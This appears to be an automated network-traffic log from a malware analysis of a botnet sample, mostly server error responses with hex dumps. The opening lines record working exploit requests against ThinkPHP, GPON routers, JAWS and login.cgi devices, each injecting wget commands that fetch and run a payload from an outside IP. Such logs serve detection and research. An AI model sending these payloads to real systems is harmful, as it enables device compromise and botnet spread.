Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix

Source: unknown

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: hacked-by-matrixAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 05:21:36 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:21:40 GMTServer: Apache/2.4.38 (Debian)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 31 3a 34 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 72 76 70 65 72 73 6f 37 32 2e 68 64 2e 66 72 65 65 2e 66 72 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:21:40 GMTServer: Apache/2.4.38 (Debian)Content-Length: 313Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 21 Mar 2024 04:22:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMTVary: Accept-EncodingServer: cloudflareCF-RAY: 867b288b8e634216-EWRContent-Encoding: gzipData Raw: 38 33 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c5 58 5b 6f 1b 37 16 7e d7 af 38 e1 02 5a 09 10 35 92 ac d8 8e 34 9a a2 eb b8 88 77 d3 c6 68 1c b4 41 51 18 9c e1 19 89 31 87 9c 92 94 64 c1 eb ff be e0 5c e4 d1 c5 6e 82 dd 45 f5 a0 e1 f5 f0 5c be 73 21 c3 57 6f 3f 5c dc 7c be be 84 85 cb 64 d4 0a 5f 51 fa 9b 48 41 3a b8 ba 84 b3 df 23 08 fd 04 24 92 59 3b 23 4a d3 2f 16 04 9e 82 96 5c 20 01 c9 d4 7c 46 50 d1 4f 1f 49 04 e1 ab df 50 71 91 fe 4e e9 13 a9 8a 0e c0 71 52 67 df 46 ea fc 05 52 e7 df 40 6a ee 2a 6a 7e e0 98 94 87 54 28 dd a5 b4 40 c6 a3 56 e8 84 93 18 bd 15 06 13 07 57 d7 c0 92 04 ad 05 a5 1d 30 29 f5 1a 39 fc 1b 2e a4 5e f2 54 32 83 61 50 6e 68 85 19 3a 06 c9 82 19 8b 6e 46 3e dd fc 40 cf 09 04 f5 c4 c2 b9 9c e2 1f 4b b1 9a 91 0b ad 1c 2a 47 6f 36 39 12 48 ca de 8c 38 bc 77 81 67 7c ba 25 f3 12 95 5f e9 a7 ef e9 85 ce 72 e6 44 2c 9b 84 ae 2e 67 97 7c 8e 8d 7d 8a 65 38 23 46 c7 da d9 c6 42 a5 85 e2 78 df 03 a5 53 ed 85 3b d8 b2 12 b8 ce b5 71 8d 4d 6b c1 dd 62 c6 71 25 12 a4 45 a7 27 94 70 82 49 6a 13 26 71 36 2c a9 48 a1 ee c0 a0 9c 11 eb 36 12 ed 02 d1 11 10 7c 46 92 f4 b6 1c a2 89 b5 04 16 06 d3 19 09 12 ae 68 32 17 41 39 15 64 4c a8 7e 31 1f 44 ad 56 2b b4 89 11 b9 8b 5a 9d 74 a9 12 27 b4 ea 74 1f 44 da e1 3a 59 66 a8 5c 9f 71 7e b9 42 e5 de 0b eb 50 a1 69 b7 d7 42 71 bd ee ff fa e3 fb 77 ce e5 3f e3 1f 4b b4 ae dd fe e7 c7 0f 3f 95 ff 7d eb 8c 50 73 91 6e ba 0f 2b 66 00 67 5b da ac 1c 49 66 5b fa 73 74 97 12 7d f3 1f 9b 2b de 21 68 8c 36 34 45 e4 31 4b ee a8 5d 9a 15 6e 48 b7 c7 bf 61 4b 01 2d d2 ed c5 33 85 6b d8 65 74 ca 66 0f e8 05 9a 90 7a 07 24 52 24 77 c8 49 2f 37 3a 47 e3 04 da c9 43 41 f5 42 73 9c 0c 07 83 93 de 02 65 9e 2e e5 84 f5 56 68 ac d0 6a 32 7c 7c 9c c6 7d 9d a3 ea 90 eb 0f 1f 6f 48 8f 78 1c d9 49 10 d8 9c 19 a3 d7 fd 64 8b e7 7e a2 b3 80 e5 22 58 0d 83 e2 78 d2 9d c6 7d 8b ae 62 eb 1d 32 8e a6 b3 8b e1 1e 61 79 2e 45 c2 bc ee 82 2f 56 ab 67 76 7d 2c cf a3 1f f5 d2 24 48 ff 85 1b d2 23 c9 d9 d9 30 1d e0 38 7e 3d 7e 33 1e c7 18 a7 e3 d1 e9 90 8f c7 31 3f 7b c3 86 48 ba d3 96 27 a6 78 67 d7 6a 1d d6 ed 4e 93 7e e1 e6 de ec 1e 03 9d ad b6 e8 42 70 8e 9e 13 de 58 62 30 d3 2b 3c b2 ea 71 fa 2c 94 3a e4 ed 87 1f 2b 81 df 6b c6 bd 05 1a 28 f4 40 61 5f 6b 75 d2 ed bd 00 aa 2d 57 f1 d2 39 ad e8 06 ed cb 90 da df a0 34 e9 4e c9 56 5c 22 14 b0 76 bb c3 be 46 03 bd e4 88 e4 05 e4 76 c4 c5 ce ab 41 f7 b1 db e3 5f bb 7a d8 7d ec 76 1f bb 8f 8f dd 4e 77 da 0a 83 da 93 6b 9f 06 8e 29 1a b0 26 99 6d 81 99 a3 49 b5 c9 98 4a b0 6f 18 Data Ascii: 836X[o7~8Z54wh
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Mini web server 1.0 ZTE corp 2005.Content-Type: text/html; charset=UTF-8Accept-Ranges: bytesConnection: closeCache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL was not found on this server.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Mar 2024 04:22:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveETag: W/"65bf63ee-18"Content-Encoding: gzipData Raw: 32 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 73 4e 4d ce 54 c8 53 4f 2d 2e 51 28 48 2c 56 28 cd 4b 05 d2 e9 a9 5c 00 0a ce 09 c5 18 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 2asNMTSO-.Q(H,V(K\0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveContent-Length: 109Date: Thu, 21 Mar 2024 04:22:08 GMTExpires: 0Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 404: Not Found</title></head><body><h1>Error 404: Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0X-NWS-LOG-UUID: 2134831931311070139Connection: closeServer: Lego ServerDate: Thu, 21 Mar 2024 04:22:11 GMTX-Cache-Lookup: Return Directly
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 01:22:11 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 14:22:14 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 14:22:15 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 14:22:15 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 14:22:15 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 14:22:16 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 14:22:15 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 14:22:16 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 14:22:16 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Language: enContent-Length: 1089Date: Thu, 21 Mar 2024 04:22:44 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 21 Mar 2024 04:22:47 GMTServer: ApacheContent-Length: 207Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 73 68 65 6c 6c 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /shellon this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:23:00 GMTServer: Apache/2.0.54 (Unix)Content-Length: 203Keep-Alive: timeout=5, max=300Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100content-type: text/htmllast-modified: Fri, 29 Apr 2022 18:50:20 GMTetag: "999-626c336c-4cf8b6d97c5b6806;gz"accept-ranges: bytescontent-encoding: gzipvary: Accept-Encodingcontent-length: 1159date: Thu, 21 Mar 2024 04:23:11 GMTserver: LiteSpeedplatform: hostingerData Raw: 1f 8b 08 00 00 00 00 00 00 03 85 56 6d 8f db 36 0c fe 9e 5f a1 ba 1f 92 6c b6 e5 dc f5 35 b1 b3 f5 75 18 b0 f5 06 f4 0a 74 b8 1d 06 46 62 6c f6 64 c9 95 94 4b b2 5e ff fb 20 3b 6f f7 92 cd 80 62 8b 7c 48 51 0f 45 2a f9 a3 b7 67 6f ce ff fc e3 1d ab 7c ad a6 bd 3c bc 98 02 5d 16 11 ea 64 e1 22 d6 58 9c d3 aa 88 84 d1 1e b5 1f b3 ca fb 66 cc 79 b3 b0 2a 35 b6 e4 d6 39 3e 4a 33 5e 1b b9 50 e8 f8 06 c8 99 14 f7 c1 52 70 8f b6 76 9c cd 0d cc 77 fa 55 ad b4 4b 85 a9 79 10 f3 2c 1d 71 66 ca 9d da 94 4d 5a 23 d7 ee 31 b3 72 ee 76 f2 e5 72 99 2e 4f 5b c7 27 59 96 f1 6c c4 ad 9c 27 4e 54 58 c3 63 e6 c8 ec 43 08 86 2d 32 48 5b 57 e1 c3 1f d1 fb 75 83 01 72 65 8e ad f6 84 67 27 3c e8 b9 30 16 1f b3 95 93 47 90 23 fe f9 f7 df 3e 76 31 45 d3 5e 2f af 10 e4 b4 c7 18 63 79 8d 1e 5a ab 04 bf 2e e8 ba 88 de 74 ec 25 e7 eb 06 23 b6 e1 b2 88 3c ae 3c 0f c9 99 30 51 81 75 e8 8b 4f e7 ef 93 